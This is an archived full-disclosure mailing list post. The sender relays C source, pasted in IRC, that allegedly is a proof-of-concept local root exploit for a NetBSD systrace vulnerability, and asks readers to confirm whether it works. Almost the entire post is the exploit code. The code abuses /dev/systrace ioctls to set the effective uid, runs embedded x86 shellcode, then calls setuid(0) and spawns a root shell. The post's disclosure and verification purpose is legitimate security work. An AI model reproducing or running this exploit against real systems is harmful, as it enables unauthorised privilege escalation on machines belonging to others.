full-disclosure - NetBSD local root PoC?

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Message-ID: <40A14D85.5050209@de-punkt.de>
From: chrislist at de-punkt.de (Christopher Kunz)
Subject: NetBSD local root PoC?

Hey,

in IRC, the following snippet of source code was just pasted - 
allegedly, it is a PoC for Stefan Esser's NetBSD advisory. Anyone with a 
NetBSD system who can confirm or falsify this?

--KA-SNIP--

#include <stdio.h>
#include <sys/ioctl.h>
#include <fcntl.h>
#include <sys/systrace.h>

#define systrace_device "/dev/systrace"

char MAGIC[] = "\x53\x31\xc0\x50\x50\x50\x50\xb8\x03\x00\x00\x00"
         "\xcd\x80\x83\xc4\x10\xb8\x00\x00\xc0\xbf\x94\x50"
         "\xb8\x03\x00\x00\x00\xcd\x80\x5b\x87\xe3\x5b\xc3";

void (*magic)(void) = MAGIC;

int nbsd_systrace_open()
{
         int fd;

         printf("[+] Connecting to %s... ", systrace_device);
         fd = open(systrace_device, O_RDONLY, 0);
         if (fd == -1) {
                 perror("failed with error: ");
                 printf("\nSorry but the exploit failed\n");
                 exit(1);
         }
         printf("done.\n");

         return (fd);
}

int nbsd_attach_parent(int fd)
{
         pid_t pid = getppid();

         printf("[+] Attaching to parent... ");
         if (ioctl(fd, STRIOCATTACH, &pid) == -1) {
                 perror("failed with error: ");
                 printf("\nSorry but the exploit failed\n");
         }
         printf("done.\n");
         return (0);
}

void nbsd_handle_msg(int fd)
{
         struct str_message msg;
         struct systrace_answer ans;
         int r;

         r = read(fd, &msg, sizeof(msg));

         if (r != sizeof(msg)) {
                 exit(1);
         }

         memset(&ans, 0, sizeof(ans));
         ans.stra_pid = msg.msg_pid;
         ans.stra_seqnr = msg.msg_seqnr;
         ans.stra_policy = SYSTR_POLICY_PERMIT;
         ans.stra_flags = 
SYSTR_FLAGS_RESULT|SYSTR_FLAGS_SETEUID|SYSTR_FLAGS_SETEUID;
         ans.stra_error = 0;
         ans.stra_seteuid = getuid();
         ans.stra_setegid = getgid();

         if (ioctl(fd, STRIOCANSWER, &ans) == -1);

}

void doit()
{
         int p,f,fd;

         fd = nbsd_systrace_open();

         f = fork();

         if (f == 0) {
                 sleep(1);
                 nbsd_attach_parent(fd);
                 while (1) {
                         nbsd_handle_msg(fd);
                 }
                 exit(1);
         }
         printf("[+] Doing some magic... ");
         sleep(2);
         magic();

         setuid(0);
         setgid(0);

         kill(f, 9);

         if (getuid() != 0) {
                 printf("failed.\n");
                 printf("\nSorry but the exploit failed.");
                 exit(1);
         }

         printf("done.\n\n");

         system("uname -v");
         system("id");
         execlp("/bin/sh", "/bin/sh", 0);
}

void banner()
{
         printf("NetBSD/x86 systrace local root exploit\n");
         printf("by ziegenpeter\n\n");

         if (getuid() == 0) {
                 printf("no comment\n");
                 exit(1);
         }
}

int main(int argc, char **argv)
{
         int fd;
         banner();
         doit();
         return (0);
}